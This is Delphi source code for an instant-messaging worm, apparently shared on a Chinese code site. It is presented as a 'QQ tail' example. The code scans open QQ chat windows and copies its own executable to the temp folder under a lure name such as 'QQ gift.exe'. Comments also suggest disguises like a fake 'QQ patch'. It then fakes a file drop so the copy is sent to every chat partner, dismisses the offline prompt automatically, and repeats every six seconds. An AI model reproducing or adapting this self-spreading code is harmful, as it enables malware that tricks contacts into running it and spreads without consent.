?? sendfile.pas
字號:
{-------------------------------------------
QQ尾巴示例源代碼
代碼整理編寫:上興 主頁:www.98exe.com
運行Project1.exe后將自身發送給聊天好友...
--------------------------------------------}
unit SendFile;
interface
uses Windows, Messages, ShellApi, NameList;
procedure Win_run;
function PathFileExists(pszPath: PChar): Bool; stdcall; external 'shlwapi.dll' Name 'PathFileExistsA';
implementation
type
PDropFiles = ^TDropFiles;
TDropFiles = record
pFiles: DWord; { offset of file list }
pt: TPoint; { drop point (client coords) }
fNC: Bool; { is it on NonClient area , and pt is in screen coords }
fWide: Bool; { WIDE character switch }
end;
type
TWaitEnumInfo = record
ProcessID: DWord; // 特定進程
ParentWnd: HWnd; // 父窗口句柄
MainTitle: PChar; // 窗口標題
CtrlTitle: PChar; // 控件標題
CtrlClass: PChar; // 控件類名
hDialog, hCtrl: HWnd; // 查找結果
end;
function GetWindowsTempPath(): string; // Windows臨時目錄
var
PathBuf: array[0..MAX_PATH] of Char;
CopyLen: DWord;
begin
CopyLen := GetTempPath(MAX_PATH, PathBuf);
if (CopyLen = 0) then Exit;
if PathBuf[CopyLen - 1] <> '\' then
begin
PathBuf[CopyLen] := '\';
PathBuf[CopyLen + 1] := #0;
end;
Result := PathBuf;
end;
{//從文件名中抽取目錄名
function ExtractFilePath(FileName: string): string;
begin
Result := '';
while ((Pos('\', FileName) <> 0) or (Pos('/', FileName) <> 0)) do
begin
Result := Result + Copy(FileName, 1, 1);
Delete(FileName, 1, 1);
end;
end;}
function GetCaption(hWnd: LongWord): string; // 取窗體文字
var
szWindowText: array[0..MAX_PATH] of Char;
szTextLength: Integer;
begin
szTextLength := SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
szWindowText[szTextLength] := #0;
Result := szWindowText;
end;
function WaitEnumFunc(hWnd: HWnd; var lParam: TWaitEnumInfo): Bool; stdcall; // 枚舉回調
var
PID: DWord;
begin
Result := True;
if (IsWindowVisible(hWnd) = FALSE) then Exit; // 窗口不可見
if (GetClassLong(hWnd, GCW_ATOM) <> 32770) then Exit; // 不是對話框
if (GetParent(hWnd) <> lParam.ParentWnd) then Exit; // 父窗口不匹配
GetWindowThreadProcessId(hWnd, PID);
if (PID <> lParam.ProcessID) then Exit; // 進程不匹配
if (lParam.MainTitle <> '') and (GetCaption(hWnd) <> lParam.MainTitle) then Exit; // 標題不匹配
lParam.hCtrl := FindWindowEx(hWnd, 0, lParam.CtrlClass, lParam.CtrlTitle);
if (IsWindow(lParam.hCtrl) = False) then Exit; // 控件不匹配
lParam.hDialog := hWnd;
Result := False;
end;
function WaitForDialog(hParent: HWnd; MainTitle, CtrlClass, CtrlTitle: PChar; TimeOut: DWord; fCtrl: Bool): HWnd;
var // 搜索窗口,是否在線
WaitEnumInfo: TWaitEnumInfo;
StartTick: DWord;
begin
GetWindowThreadProcessId(hParent, WaitEnumInfo.ProcessID);
WaitEnumInfo.ParentWnd := hParent;
WaitEnumInfo.MainTitle := MainTitle;
WaitEnumInfo.CtrlTitle := CtrlTitle;
WaitEnumInfo.CtrlClass := CtrlClass;
WaitEnumInfo.hDialog := 0;
WaitEnumInfo.hCtrl := 0;
StartTick := GetTickCount();
repeat
EnumWindows(@WaitEnumFunc, Integer(@WaitEnumInfo));
Sleep(1);
until IsWindow(WaitEnumInfo.hDialog) or ((GetTickCount() - StartTick) > TimeOut);
if fCtrl then
Result := WaitEnumInfo.hCtrl
else
Result := WaitEnumInfo.hDialog;
end;
function GetWinClass(hWnd: LongWord): string; // 取窗口類名
var
szClassName: array[0..MAX_PATH] of Char;
begin
szClassName[GetClassName(hWnd, szClassName, MAX_PATH)] := #0;
Result := szClassName;
end;
function DoDropFile(hDialog: HWnd; const FileName: string): Bool;
var
hAccept, hButton: HWnd;
hDropMem: HGLOBAL;
DropFile: PDropFiles;
begin
Result := False;
if (FileName = '') or (PathFileExists(PChar(FileName)) = False) then Exit;
hAccept := FindWindowEx(hDialog, 0, '#32770', nil);
if (IsWindow(hAccept) = False) then Exit;
hDropMem := GlobalAlloc(GMEM_MOVEABLE or GMEM_ZEROINIT, SizeOf(TDropFiles) + Length(FileName) + 2);
if (hDropMem = 0) then Exit;
DropFile := GlobalLock(hDropMem);
if (DropFile = nil) then
begin
GlobalFree(hDropMem);
Exit;
end;
DropFile.pFiles := SizeOf(TDropFiles);
DropFile.pt.x := 0;
DropFile.pt.y := 0;
DropFile.fNC := False;
DropFile.fWide := False;
lStrCpy(PChar(DWord(DropFile) + SizeOf(TDropFiles)), PChar(FileName));
GlobalUnlock(hDropMem);
PostMessage(hAccept, WM_DROPFILES, hDropMem, 0);
hButton := WaitForDialog(hDialog, '對方不在線', 'Button', '否(&N)', 2000, True);
if IsWindow(hButton) then SendMessage(hButton, BM_CLICK, 0, 0);
end;
function SendEnumFunc(hWnd: HWnd; lParam: LParam): Bool; stdcall;
var
sQQTitle: string;
sQQName,sTempFile: string;
nBegin, nEnd: Integer;
begin
Result := True;
if (GetClassLong(hWnd, GCW_ATOM) <> 32770) then Exit;
sQQTitle := GetCaption(hWnd);
nBegin := Pos('與', sQQTitle) + 2;
nEnd := Pos('聊天中', sQQTitle) - 1;
if (nEnd < 0) or (nEnd < nBegin) then Exit;
sQQName := Copy(sQQTitle, nBegin, nEnd);
if (sQQName = '') or (UpdateNameList(sQQName) = False) then Exit;
sTempFile := GetWindowsTempPath(); //Windows臨時目錄
sTempFile := sTempFile + 'QQ禮物.exe'; //可更改'QQ禮物.exe'為其它,如'QQ補丁.rar'
DeleteFile(PChar(sTempFile));
CopyFile(PChar(ParamStr(0)), PChar(sTempFile), False); //發送自身,可更改ParamStr(0)為其它程序,如c:\QQ.rar
DoDropFile(hWnd, sTempFile);
end;
procedure TimerProc(hwnd:HWND;uMsg,idEvent:UINT;dwTime:DWORD); stdcall;
begin
EnumWindows(@SendEnumFunc, 0); //EnumWindows枚舉所有的頂層窗口
end;
var
Msg: TMsg;
procedure Win_run;
begin
SetTimer(0,1,6000,@TimerProc);
while GetMessage(Msg, 0, 0, 0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
end.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -